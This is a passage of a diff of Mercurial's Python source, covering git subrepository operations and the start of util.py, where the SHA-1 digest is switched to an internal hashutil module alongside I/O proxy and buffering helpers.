                 self._gitcommand([b'reset', b'HEAD'])
                 cmd.append(b'-f')
             self._gitcommand(cmd + args)
             _sanitize(self.ui, self.wvfs, b'.git')
 
         def rawcheckout():
             # no branch to checkout, check it out with no branch
             self.ui.warn(
                 _(b'checking out detached HEAD in subrepository "%s"\n')
                 % self._relpath
             )
             self.ui.warn(
                 _(b'check out a git branch if you intend to make changes\n')
             )
             checkout([b'-q', revision])
 
         if revision not in rev2branch:
             rawcheckout()
             return
         branches = rev2branch[revision]
         firstlocalbranch = None
         for b in branches:
             if b == b'refs/heads/master':
                 # master trumps all other branches
                 checkout([b'refs/heads/master'])
                 return
             if not firstlocalbranch and not b.startswith(b'refs/remotes/'):
                 firstlocalbranch = b
         if firstlocalbranch:
             checkout([firstlocalbranch])
             return
 
         tracking = self._gittracking(branch2rev.keys())
         # choose a remote branch already tracked if possible
         remote = branches[0]
         if remote not in tracking:
             for b in branches:
                 if b in tracking:
                     remote = b
                     break
 
         if remote not in tracking:
             # create a new local tracking branch
             local = remote.split(b'/', 3)[3]
             checkout([b'-b', local, remote])
         elif self._gitisancestor(branch2rev[tracking[remote]], remote):
             # When updating to a tracked remote branch,
             # if the local tracking branch is downstream of it,
             # a normal `git pull` would have performed a "fast-forward merge"
             # which is equivalent to updating the local branch to the remote.
             # Since we are only looking at branching at update, we need to
             # detect this situation and perform this action lazily.
             if tracking[remote] != self._gitcurrentbranch():
                 checkout([tracking[remote]])
             self._gitcommand([b'merge', b'--ff', remote])
             _sanitize(self.ui, self.wvfs, b'.git')
         else:
             # a real merge would be required, just checkout the revision
             rawcheckout()
 
     @annotatesubrepoerror
     def commit(self, text, user, date):
         if self._gitmissing():
             raise error.Abort(_(b"subrepo %s is missing") % self._relpath)
         cmd = [b'commit', b'-a', b'-m', text]
         env = encoding.environ.copy()
         if user:
             cmd += [b'--author', user]
         if date:
             # git's date parser silently ignores when seconds < 1e9
             # convert to ISO8601
             env[b'GIT_AUTHOR_DATE'] = dateutil.datestr(
                 date, b'%Y-%m-%dT%H:%M:%S %1%2'
             )
         self._gitcommand(cmd, env=env)
         # make sure commit works otherwise HEAD might not exist under certain
         # circumstances
         return self._gitstate()
 
     @annotatesubrepoerror
     def merge(self, state):
         source, revision, kind = state
         self._fetch(source, revision)
         base = self._gitcommand([b'merge-base', revision, self._state[1]])
         self._gitupdatestat()
         out, code = self._gitdir([b'diff-index', b'--quiet', b'HEAD'])
 
         def mergefunc():
             if base == revision:
                 self.get(state)  # fast forward merge
             elif base != self._state[1]:
                 self._gitcommand([b'merge', b'--no-commit', revision])
             _sanitize(self.ui, self.wvfs, b'.git')
 
         if self.dirty():
             if self._gitstate() != revision:
                 dirty = self._gitstate() == self._state[1] or code != 0
                 if _updateprompt(
                     self.ui, self, dirty, self._state[1][:7], revision[:7]
                 ):
                     mergefunc()
         else:
             mergefunc()
 
     @annotatesubrepoerror
     def push(self, opts):
         force = opts.get(b'force')
 
         if not self._state[1]:
             return True
         if self._gitmissing():
             raise error.Abort(_(b"subrepo %s is missing") % self._relpath)
         # if a branch in origin contains the revision, nothing to do
         branch2rev, rev2branch = self._gitbranchmap()
         if self._state[1] in rev2branch:
             for b in rev2branch[self._state[1]]:
                 if b.startswith(b'refs/remotes/origin/'):
                     return True
         for b, revision in pycompat.iteritems(branch2rev):
             if b.startswith(b'refs/remotes/origin/'):
                 if self._gitisancestor(self._state[1], revision):
                     return True
         # otherwise, try to push the currently checked out branch
         cmd = [b'push']
         if force:
             cmd.append(b'--force')
 
         current = self._gitcurrentbranch()
         if current:
             # determine if the current branch is even useful
             if not self._gitisancestor(self._state[1], current):
                 self.ui.warn(
                     _(
                         b'unrelated git branch checked out '
                         b'in subrepository "%s"\n'
                     )
                     % self._relpath
                 )
                 return False
             self.ui.status(
                 _(b'pushing branch %s of subrepository "%s"\n')
                 % (current.split(b'/', 2)[2], self._relpath)
             )
             ret = self._gitdir(cmd + [b'origin', current])
             return ret[1] == 0
         else:
             self.ui.warn(
                 _(
                     b'no branch checked out in subrepository "%s"\n'
                     b'cannot push revision %s\n'
                 )
                 % (self._relpath, self._state[1])
             )
             return False
 
     @annotatesubrepoerror
     def add(self, ui, match, prefix, uipathfn, explicitonly, **opts):
         if self._gitmissing():
             return []
 
         s = self.status(None, unknown=True, clean=True)
 
         tracked = set()
         # dirstates 'amn' warn, 'r' is added again
         for l in (s.modified, s.added, s.deleted, s.clean):
             tracked.update(l)
 
         # Unknown files not of interest will be rejected by the matcher
         files = s.unknown
         files.extend(match.files())
 
         rejected = []
 
         files = [f for f in sorted(set(files)) if match(f)]
         for f in files:
             exact = match.exact(f)
             command = [b"add"]
             if exact:
                 command.append(b"-f")  # should be added, even if ignored
             if ui.verbose or not exact:
                 ui.status(_(b'adding %s\n') % uipathfn(f))
 
             if f in tracked:  # hg prints 'adding' even if already tracked
                 if exact:
                     rejected.append(f)
                 continue
             if not opts.get('dry_run'):
                 self._gitcommand(command + [f])
 
         for f in rejected:
             ui.warn(_(b"%s already tracked!\n") % uipathfn(f))
 
         return rejected
 
     @annotatesubrepoerror
     def remove(self):
         if self._gitmissing():
             return
         if self.dirty():
             self.ui.warn(
                 _(b'not removing repo %s because it has changes.\n')
                 % self._relpath
             )
             return
         # we can't fully delete the repository as it may contain
         # local-only history
         self.ui.note(_(b'removing subrepo %s\n') % self._relpath)
         self._gitcommand([b'config', b'core.bare', b'true'])
         for f, kind in self.wvfs.readdir():
             if f == b'.git':
                 continue
             if kind == stat.S_IFDIR:
                 self.wvfs.rmtree(f)
             else:
                 self.wvfs.unlink(f)
 
     def archive(self, archiver, prefix, match=None, decode=True):
         total = 0
         source, revision = self._state
         if not revision:
             return total
         self._fetch(source, revision)
 
         # Parse git's native archive command.
         # This should be much faster than manually traversing the trees
         # and objects with many subprocess calls.
         tarstream = self._gitcommand([b'archive', revision], stream=True)
         tar = tarfile.open(fileobj=tarstream, mode='r|')
         relpath = subrelpath(self)
         progress = self.ui.makeprogress(
             _(b'archiving (%s)') % relpath, unit=_(b'files')
         )
         progress.update(0)
         for info in tar:
             if info.isdir():
                 continue
             bname = pycompat.fsencode(info.name)
             if match and not match(bname):
                 continue
             if info.issym():
                 data = info.linkname
             else:
                 data = tar.extractfile(info).read()
             archiver.addfile(prefix + bname, info.mode, info.issym(), data)
             total += 1
             progress.increment()
         progress.complete()
         return total
 
     @annotatesubrepoerror
     def cat(self, match, fm, fntemplate, prefix, **opts):
         rev = self._state[1]
         if match.anypats():
             return 1  # No support for include/exclude yet
 
         if not match.files():
             return 1
 
         # TODO: add support for non-plain formatter (see cmdutil.cat())
         for f in match.files():
             output = self._gitcommand([b"show", b"%s:%s" % (rev, f)])
             fp = cmdutil.makefileobj(
                 self._ctx, fntemplate, pathname=self.wvfs.reljoin(prefix, f)
             )
             fp.write(output)
             fp.close()
         return 0
 
     @annotatesubrepoerror
     def status(self, rev2, **opts):
         rev1 = self._state[1]
         if self._gitmissing() or not rev1:
             # if the repo is missing, return no results
             return scmutil.status([], [], [], [], [], [], [])
         modified, added, removed = [], [], []
         self._gitupdatestat()
         if rev2:
             command = [b'diff-tree', b'--no-renames', b'-r', rev1, rev2]
         else:
             command = [b'diff-index', b'--no-renames', rev1]
         out = self._gitcommand(command)
         for line in out.split(b'\n'):
             tab = line.find(b'\t')
             if tab == -1:
                 continue
             status, f = line[tab - 1 : tab], line[tab + 1 :]
             if status == b'M':
                 modified.append(f)
             elif status == b'A':
                 added.append(f)
             elif status == b'D':
                 removed.append(f)
 
         deleted, unknown, ignored, clean = [], [], [], []
 
         command = [b'status', b'--porcelain', b'-z']
         if opts.get('unknown'):
             command += [b'--untracked-files=all']
         if opts.get('ignored'):
             command += [b'--ignored']
         out = self._gitcommand(command)
 
         changedfiles = set()
         changedfiles.update(modified)
         changedfiles.update(added)
         changedfiles.update(removed)
         for line in out.split(b'\0'):
             if not line:
                 continue
             st = line[0:2]
             # moves and copies show 2 files on one line
             if line.find(b'\0') >= 0:
                 filename1, filename2 = line[3:].split(b'\0')
             else:
                 filename1 = line[3:]
                 filename2 = None
 
             changedfiles.add(filename1)
             if filename2:
                 changedfiles.add(filename2)
 
             if st == b'??':
                 unknown.append(filename1)
             elif st == b'!!':
                 ignored.append(filename1)
 
         if opts.get('clean'):
             out = self._gitcommand([b'ls-files'])
             for f in out.split(b'\n'):
                 if not f in changedfiles:
                     clean.append(f)
 
         return scmutil.status(
             modified, added, removed, deleted, unknown, ignored, clean
         )
 
     @annotatesubrepoerror
     def diff(self, ui, diffopts, node2, match, prefix, **opts):
         node1 = self._state[1]
         cmd = [b'diff', b'--no-renames']
         if opts['stat']:
             cmd.append(b'--stat')
         else:
             # for Git, this also implies '-p'
             cmd.append(b'-U%d' % diffopts.context)
 
         if diffopts.noprefix:
             cmd.extend(
                 [b'--src-prefix=%s/' % prefix, b'--dst-prefix=%s/' % prefix]
             )
         else:
             cmd.extend(
                 [b'--src-prefix=a/%s/' % prefix, b'--dst-prefix=b/%s/' % prefix]
             )
 
         if diffopts.ignorews:
             cmd.append(b'--ignore-all-space')
         if diffopts.ignorewsamount:
             cmd.append(b'--ignore-space-change')
         if (
             self._gitversion(self._gitcommand([b'--version'])) >= (1, 8, 4)
             and diffopts.ignoreblanklines
         ):
             cmd.append(b'--ignore-blank-lines')
 
         cmd.append(node1)
         if node2:
             cmd.append(node2)
 
         output = b""
         if match.always():
             output += self._gitcommand(cmd) + b'\n'
         else:
             st = self.status(node2)
             files = [
                 f
                 for sublist in (st.modified, st.added, st.removed)
                 for f in sublist
             ]
             for f in files:
                 if match(f):
                     output += self._gitcommand(cmd + [b'--', f]) + b'\n'
 
         if output.strip():
             ui.write(output)
 
     @annotatesubrepoerror
     def revert(self, substate, *pats, **opts):
         self.ui.status(_(b'reverting subrepo %s\n') % substate[0])
         if not opts.get('no_backup'):
             status = self.status(None)
             names = status.modified
             for name in names:
                 # backuppath() expects a path relative to the parent repo (the
                 # repo that ui.origbackuppath is relative to)
                 parentname = os.path.join(self._path, name)
                 bakname = scmutil.backuppath(
                     self.ui, self._subparent, parentname
                 )
                 self.ui.note(
                     _(b'saving current version of %s as %s\n')
                     % (name, os.path.relpath(bakname))
                 )
                 util.rename(self.wvfs.join(name), bakname)
 
         if not opts.get('dry_run'):
             self.get(substate, overwrite=True)
         return []
 
     def shortid(self, revid):
         return revid[:7]
 
 
 types = {
     b'hg': hgsubrepo,
     b'svn': svnsubrepo,
     b'git': gitsubrepo,
 }

mercurial/util.py

@@ -1,3617 +1,3618
 # util.py - Mercurial utility functions and platform specific implementations
 #
 #  Copyright 2005 K. Thananchayan <[e-mail]>
 #  Copyright 2005-2007 Matt Mackall <[e-mail]>
 #  Copyright 2006 Vadim Gelfer <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 """Mercurial utility functions and platform specific implementations.
 
 This contains helper routines that are independent of the SCM core and
 hide platform-specific details from the core.
 """
 
 from __future__ import absolute_import, print_function
 
 import abc
 import collections
 import contextlib
 import errno
 import gc
 import hashlib
 import itertools
 import mmap
 import os
 import platform as pyplatform
 import re as remod
 import shutil
 import socket
 import stat
 import sys
 import time
 import traceback
 import warnings
 
 from .thirdparty import attr
 from .pycompat import (
     delattr,
     getattr,
     open,
     setattr,
 )
 from hgdemandimport import tracing
 from . import (
     encoding,
     error,
     i18n,
     node as nodemod,
     policy,
     pycompat,
     urllibcompat,
 )
 from .utils import (
     compression,
+    hashutil,
     procutil,
     stringutil,
 )
 
 base85 = policy.importmod('base85')
 osutil = policy.importmod('osutil')
 
 b85decode = base85.b85decode
 b85encode = base85.b85encode
 
 cookielib = pycompat.cookielib
 httplib = pycompat.httplib
 pickle = pycompat.pickle
 safehasattr = pycompat.safehasattr
 socketserver = pycompat.socketserver
 bytesio = pycompat.bytesio
 # TODO deprecate stringio name, as it is a lie on Python 3.
 stringio = bytesio
 xmlrpclib = pycompat.xmlrpclib
 
 httpserver = urllibcompat.httpserver
 urlerr = urllibcompat.urlerr
 urlreq = urllibcompat.urlreq
 
 # workaround for win32mbcs
 _filenamebytestr = pycompat.bytestr
 
 if pycompat.iswindows:
     from . import windows as platform
 else:
     from . import posix as platform
 
 _ = i18n._
 
 bindunixsocket = platform.bindunixsocket
 cachestat = platform.cachestat
 checkexec = platform.checkexec
 checklink = platform.checklink
 copymode = platform.copymode
 expandglobs = platform.expandglobs
 getfsmountpoint = platform.getfsmountpoint
 getfstype = platform.getfstype
 groupmembers = platform.groupmembers
 groupname = platform.groupname
 isexec = platform.isexec
 isowner = platform.isowner
 listdir = osutil.listdir
 localpath = platform.localpath
 lookupreg = platform.lookupreg
 makedir = platform.makedir
 nlinks = platform.nlinks
 normpath = platform.normpath
 normcase = platform.normcase
 normcasespec = platform.normcasespec
 normcasefallback = platform.normcasefallback
 openhardlinks = platform.openhardlinks
 oslink = platform.oslink
 parsepatchoutput = platform.parsepatchoutput
 pconvert = platform.pconvert
 poll = platform.poll
 posixfile = platform.posixfile
 readlink = platform.readlink
 rename = platform.rename
 removedirs = platform.removedirs
 samedevice = platform.samedevice
 samefile = platform.samefile
 samestat = platform.samestat
 setflags = platform.setflags
 split = platform.split
 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
 statisexec = platform.statisexec
 statislink = platform.statislink
 umask = platform.umask
 unlink = platform.unlink
 username = platform.username
 
 # small compat layer
 compengines = compression.compengines
 SERVERROLE = compression.SERVERROLE
 CLIENTROLE = compression.CLIENTROLE
 
 try:
     recvfds = osutil.recvfds
 except AttributeError:
     pass
 
 # Python compatibility
 
 _notset = object()
 
 
 def bitsfrom(container):
     bits = 0
     for bit in container:
         bits |= bit
     return bits
 
 
 # python 2.6 still have deprecation warning enabled by default. We do not want
 # to display anything to standard user so detect if we are running test and
 # only use python deprecation warning in this case.
 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
 if _dowarn:
     # explicitly unfilter our warning for python 2.7
     #
     # The option of setting PYTHONWARNINGS in the test runner was investigated.
     # However, module name set through PYTHONWARNINGS was exactly matched, so
     # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
     # makes the whole PYTHONWARNINGS thing useless for our usecase.
     warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
     warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
     warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
 if _dowarn and pycompat.ispy3:
     # silence warning emitted by passing user string to re.sub()
     warnings.filterwarnings(
         'ignore', 'bad escape', DeprecationWarning, 'mercurial'
     )
     warnings.filterwarnings(
         'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
     )
     # TODO: reinvent imp.is_frozen()
     warnings.filterwarnings(
         'ignore',
         'the imp module is deprecated',
         DeprecationWarning,
         'mercurial',
     )
 
 
 def nouideprecwarn(msg, version, stacklevel=1):
     """Issue an python native deprecation warning
 
     This is a noop outside of tests, use 'ui.deprecwarn' when possible.
     """
     if _dowarn:
         msg += (
             b"\n(compatibility will be dropped after Mercurial-%s,"
             b" update your code.)"
         ) % version
         warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
 
 
 DIGESTS = {
     b'md5': hashlib.md5,
-    b'sha1': hashlib.sha1,
+    b'sha1': hashutil.sha1,
     b'sha512': hashlib.sha512,
 }
 # List of digest types from strongest to weakest
 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
 
 for k in DIGESTS_BY_STRENGTH:
     assert k in DIGESTS
 
 
 class digester(object):
     """helper to compute digests.
 
     This helper can be used to compute one or more digests given their name.
 
     >>> d = digester([b'md5', b'sha1'])
     >>> d.update(b'foo')
     >>> [k for k in sorted(d)]
     ['md5', 'sha1']
     >>> d[b'md5']
     'acbd18db4cc2f85cedef654fccc4a4d8'
     >>> d[b'sha1']
     '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
     >>> digester.preferred([b'md5', b'sha1'])
     'sha1'
     """
 
     def __init__(self, digests, s=b''):
         self._hashes = {}
         for k in digests:
             if k not in DIGESTS:
                 raise error.Abort(_(b'unknown digest type: %s') % k)
             self._hashes[k] = DIGESTS[k]()
         if s:
             self.update(s)
 
     def update(self, data):
         for h in self._hashes.values():
             h.update(data)
 
     def __getitem__(self, key):
         if key not in DIGESTS:
             raise error.Abort(_(b'unknown digest type: %s') % k)
         return nodemod.hex(self._hashes[key].digest())
 
     def __iter__(self):
         return iter(self._hashes)
 
     @staticmethod
     def preferred(supported):
         """returns the strongest digest type in both supported and DIGESTS."""
 
         for k in DIGESTS_BY_STRENGTH:
             if k in supported:
                 return k
         return None
 
 
 class digestchecker(object):
     """file handle wrapper that additionally checks content against a given
     size and digests.
 
         d = digestchecker(fh, size, {'md5': '...'})
 
     When multiple digests are given, all of them are validated.
     """
 
     def __init__(self, fh, size, digests):
         self._fh = fh
         self._size = size
         self._got = 0
         self._digests = dict(digests)
         self._digester = digester(self._digests.keys())
 
     def read(self, length=-1):
         content = self._fh.read(length)
         self._digester.update(content)
         self._got += len(content)
         return content
 
     def validate(self):
         if self._size != self._got:
             raise error.Abort(
                 _(b'size mismatch: expected %d, got %d')
                 % (self._size, self._got)
             )
         for k, v in self._digests.items():
             if v != self._digester[k]:
                 # i18n: first parameter is a digest name
                 raise error.Abort(
                     _(b'%s mismatch: expected %s, got %s')
                     % (k, v, self._digester[k])
                 )
 
 
 try:
     buffer = buffer
 except NameError:
 
     def buffer(sliceable, offset=0, length=None):
         if length is not None:
             return memoryview(sliceable)[offset : offset + length]
         return memoryview(sliceable)[offset:]
 
 
 _chunksize = 4096
 
 
 class bufferedinputpipe(object):
     """a manually buffered input pipe
 
     Python will not let us use buffered IO and lazy reading with 'polling' at
     the same time. We cannot probe the buffer state and select will not detect
     that data are ready to read if they are already buffered.
 
     This class let us work around that by implementing its own buffering
     (allowing efficient readline) while offering a way to know if the buffer is
     empty from the output (allowing collaboration of the buffer with polling).
 
     This class lives in the 'util' module because it makes use of the 'os'
     module from the python stdlib.
     """
 
     def __new__(cls, fh):
         # If we receive a fileobjectproxy, we need to use a variation of this
         # class that notifies observers about activity.
         if isinstance(fh, fileobjectproxy):
             cls = observedbufferedinputpipe
 
         return super(bufferedinputpipe, cls).__new__(cls)
 
     def __init__(self, input):
         self._input = input
         self._buffer = []
         self._eof = False
         self._lenbuf = 0
 
     @property
     def hasbuffer(self):
         """True is any data is currently buffered
 
         This will be used externally a pre-step for polling IO. If there is
         already data then no polling should be set in place."""
         return bool(self._buffer)
 
     @property
     def closed(self):
         return self._input.closed
 
     def fileno(self):
         return self._input.fileno()
 
     def close(self):
         return self._input.close()
 
     def read(self, size):
         while (not self._eof) and (self._lenbuf < size):
             self._fillbuffer()
         return self._frombuffer(size)
 
     def unbufferedread(self, size):
         if not self._eof and self._lenbuf == 0:
             self._fillbuffer(max(size, _chunksize))
         return self._frombuffer(min(self._lenbuf, size))
 
     def readline(self, *args, **kwargs):
         if len(self._buffer) > 1:
             # this should not happen because both read and readline end with a
             # _frombuffer call that collapse it.
             self._buffer = [b''.join(self._buffer)]
             self._lenbuf = len(self._buffer[0])
         lfi = -1
         if self._buffer:
             lfi = self._buffer[-1].find(b'\n')
         while (not self._eof) and lfi < 0:
             self._fillbuffer()
             if self._buffer:
                 lfi = self._buffer[-1].find(b'\n')
         size = lfi + 1
         if lfi < 0:  # end of file
             size = self._lenbuf
         elif len(self._buffer) > 1:
             # we need to take previous chunks into account
             size += self._lenbuf - len(self._buffer[-1])
         return self._frombuffer(size)
 
     def _frombuffer(self, size):
         """return at most 'size' data from the buffer
 
         The data are removed from the buffer."""
         if size == 0 or not self._buffer:
             return b''
         buf = self._buffer[0]
         if len(self._buffer) > 1:
             buf = b''.join(self._buffer)
 
         data = buf[:size]
         buf = buf[len(data) :]
         if buf:
             self._buffer = [buf]
             self._lenbuf = len(buf)
         else:
             self._buffer = []
             self._lenbuf = 0
         return data
 
     def _fillbuffer(self, size=_chunksize):
         """read data to the buffer"""
         data = os.read(self._input.fileno(), size)
         if not data:
             self._eof = True
         else:
             self._lenbuf += len(data)
             self._buffer.append(data)
 
         return data
 
 
 def mmapread(fp, size=None):
     if size == 0:
         # size of 0 to mmap.mmap() means "all data"
         # rather than "zero bytes", so special case that.
         return b''
     elif size is None:
         size = 0
     try:
         fd = getattr(fp, 'fileno', lambda: fp)()
         return mmap.mmap(fd, size, access=mmap.ACCESS_READ)
     except ValueError:
         # Empty files cannot be mmapped, but mmapread should still work.  Check
         # if the file is empty, and if so, return an empty buffer.
         if os.fstat(fd).st_size == 0:
             return b''
         raise
 
 
 class fileobjectproxy(object):
     """A proxy around file objects that tells a watcher when events occur.
 
     This type is intended to only be used for testing purposes. Think hard
     before using it in important code.
     """
 
     __slots__ = (
         '_orig',
         '_observer',
     )
 
     def __init__(self, fh, observer):
         object.__setattr__(self, '_orig', fh)
         object.__setattr__(self, '_observer', observer)
 
     def __getattribute__(self, name):
         ours = {
             '_observer',
             # IOBase
             'close',
             # closed if a property
             'fileno',
             'flush',
             'isatty',
             'readable',
             'readline',
             'readlines',
             'seek',
             'seekable',
             'tell',
             'truncate',
             'writable',
             'writelines',
             # RawIOBase
             'read',
             'readall',
             'readinto',
             'write',
             # BufferedIOBase
             # raw is a property
             'detach',
             # read defined above
             'read1',
             # readinto defined above
             # write defined above
         }
 
         # We only observe some methods.
         if name in ours:
             return object.__getattribute__(self, name)
 
         return getattr(object.__getattribute__(self, '_orig'), name)
 
     def __nonzero__(self):
         return bool(object.__getattribute__(self, '_orig'))
 
     __bool__ = __nonzero__
 
     def __delattr__(self, name):
         return delattr(object.__getattribute__(self, '_orig'), name)
 
     def __setattr__(self, name, value):
         return setattr(object.__getattribute__(self, '_orig'), name, value)
 
     def __iter__(self):
         return object.__getattribute__(self, '_orig').__iter__()
 
     def _observedcall(self, name, *args, **kwargs):
         # Call the original object.
         orig = object.__getattribute__(self, '_orig')
         res = getattr(orig, name)(*args, **kwargs)
 
         # Call a method on the observer of the same name with arguments
         # so it can react, log, etc.
         observer = object.__getattribute__(self, '_observer')
         fn = getattr(observer, name, None)
         if fn:
             fn(res, *args, **kwargs)
 
         return res
 
     def close(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'close', *args, **kwargs
         )
 
     def fileno(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'fileno', *args, **kwargs
         )
 
     def flush(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'flush', *args, **kwargs
         )
 
     def isatty(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'isatty', *args, **kwargs
         )
 
     def readable(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'readable', *args, **kwargs
         )
 
     def readline(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'readline', *args, **kwargs
         )
 
     def readlines(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'readlines', *args, **kwargs
         )
 
     def seek(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'seek', *args, **kwargs
         )
 
     def seekable(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'seekable', *args, **kwargs
         )
 
     def tell(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'tell', *args, **kwargs
         )
 
     def truncate(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'truncate', *args, **kwargs
         )
 
     def writable(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'writable', *args, **kwargs
         )
 
     def writelines(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'writelines', *args, **kwargs
         )
 
     def read(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'read', *args, **kwargs
         )
 
     def readall(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'readall', *args, **kwargs
         )
 
     def readinto(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'readinto', *args, **kwargs
         )
 
     def write(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'write', *args, **kwargs
         )
 
     def detach(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'detach', *args, **kwargs
         )
 
     def read1(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'read1', *args, **kwargs
         )
 
 
 class observedbufferedinputpipe(bufferedinputpipe):
     """A variation of bufferedinputpipe that is aware of fileobjectproxy.
 
     ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
     bypass ``fileobjectproxy``. Because of this, we need to make
     ``bufferedinputpipe`` aware of these operations.
 
     This variation of ``bufferedinputpipe`` can notify observers about
     ``os.read()`` events. It also re-publishes other events, such as
     ``read()`` and ``readline()``.
     """
 
     def _fillbuffer(self):
         res = super(observedbufferedinputpipe, self)._fillbuffer()
 
         fn = getattr(self._input._observer, 'osread', None)
         if fn:
             fn(res, _chunksize)
 
         return res
 
     # We use different observer methods because the operation isn't
     # performed on the actual file object but on us.
     def read(self, size):
         res = super(observedbufferedinputpipe, self).read(size)
 
         fn = getattr(self._input._observer, 'bufferedread', None)
         if fn:
             fn(res, size)
 
         return res
 
     def readline(self, *args, **kwargs):
         res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
 
         fn = getattr(self._input._observer, 'bufferedreadline', None)
         if fn:
             fn(res)
 
         return res
 
 
 PROXIED_SOCKET_METHODS = {
     'makefile',
     'recv',
     'recvfrom',
     'recvfrom_into',
     'recv_into',
     'send',
     'sendall',
     'sendto',
     'setblocking',
     'settimeout',
     'gettimeout',
     'setsockopt',
 }
 
 
 class socketproxy(object):
     """A proxy around a socket that tells a watcher when events occur.
 
     This is like ``fileobjectproxy`` except for sockets.
 
     This type is intended to only be used for testing purposes. Think hard
     before using it in important code.
     """
 
     __slots__ = (
         '_orig',
         '_observer',
     )
 
     def __init__(self, sock, observer):
         object.__setattr__(self, '_orig', sock)
         object.__setattr__(self, '_observer', observer)
 
     def __getattribute__(self, name):
         if name in PROXIED_SOCKET_METHODS:
             return object.__getattribute__(self, name)
 
         return getattr(object.__getattribute__(self, '_orig'), name)
 
     def __delattr__(self, name):
         return delattr(object.__getattribute__(self, '_orig'), name)
 
     def __setattr__(self, name, value):
         return setattr(object.__getattribute__(self, '_orig'), name, value)
 
     def __nonzero__(self):
         return bool(object.__getattribute__(self, '_orig'))
 
     __bool__ = __nonzero__
 
     def _observedcall(self, name, *args, **kwargs):
         # Call the original object.
         orig = object.__getattribute__(self, '_orig')
         res = getattr(orig, name)(*args, **kwargs)
 
         # Call a method on the observer of the same name with arguments
         # so it can react, log, etc.
         observer = object.__getattribute__(self, '_observer')
         fn = getattr(observer, name, None)
         if fn:
             fn(res, *args, **kwargs)
 
         return res
 
     def makefile(self, *args, **kwargs):
         res = object.__getattribute__(self, '_observedcall')(
             'makefile', *args, **kwargs
         )
 
         # The file object may be used for I/O. So we turn it into a
         # proxy using our observer.
         observer = object.__getattribute__(self, '_observer')
         return makeloggingfileobject(
             observer.fh,
             res,
             observer.name,
             reads=observer.reads,
             writes=observer.writes,
             logdata=observer.logdata,
             logdataapis=observer.logdataapis,
         )
 
     def recv(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'recv', *args, **kwargs
         )
 
     def recvfrom(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'recvfrom', *args, **kwargs
         )
 
     def recvfrom_into(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'recvfrom_into', *args, **kwargs
         )
 
     def recv_into(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'recv_info', *args, **kwargs
         )
 
     def send(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'send', *args, **kwargs
         )
 
     def sendall(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'sendall', *args, **kwargs
         )
 
     def sendto(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'sendto', *args, **kwargs
         )
 
     def setblocking(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'setblocking', *args, **kwargs
         )
 
     def settimeout(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'settimeout', *args, **kwargs
         )
 
     def gettimeout(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'gettimeout', *args, **kwargs
         )
 
     def setsockopt(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'setsockopt', *args, **kwargs
         )
 
 
 class baseproxyobserver(object):
     def __init__(self, fh, name, logdata, logdataapis):
         self.fh = fh
         self.name = name
         self.logdata = logdata
         self.logdataapis = logdataapis
 
     def _writedata(self, data):
         if not self.logdata:
             if self.logdataapis:
                 self.fh.write(b'\n')
                 self.fh.flush()
             return
 
         # Simple case writes all data on a single line.
         if b'\n' not in data:
             if self.logdataapis:
                 self.fh.write(b': %s\n' % stringutil.escapestr(data))
             else:
                 self.fh.write(
                     b'%s>     %s\n' % (self.name, stringutil.escapestr(data))
                 )
             self.fh.flush()
             return
 
         # Data with newlines is written to multiple lines.
         if self.logdataapis:
             self.fh.write(b':\n')
 
         lines = data.splitlines(True)
         for line in lines:
             self.fh.write(
                 b'%s>     %s\n' % (self.name, stringutil.escapestr(line))
             )
         self.fh.flush()
 
 
 class fileobjectobserver(baseproxyobserver):
     """Logs file object activity."""
 
     def __init__(
         self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
     ):
         super(fileobjectobserver, self).__init__(fh, name, logdata, logdataapis)
         self.reads = reads
         self.writes = writes
 
     def read(self, res, size=-1):
         if not self.reads:
             return
         # Python 3 can return None from reads at EOF instead of empty strings.
         if res is None:
             res = b''
 
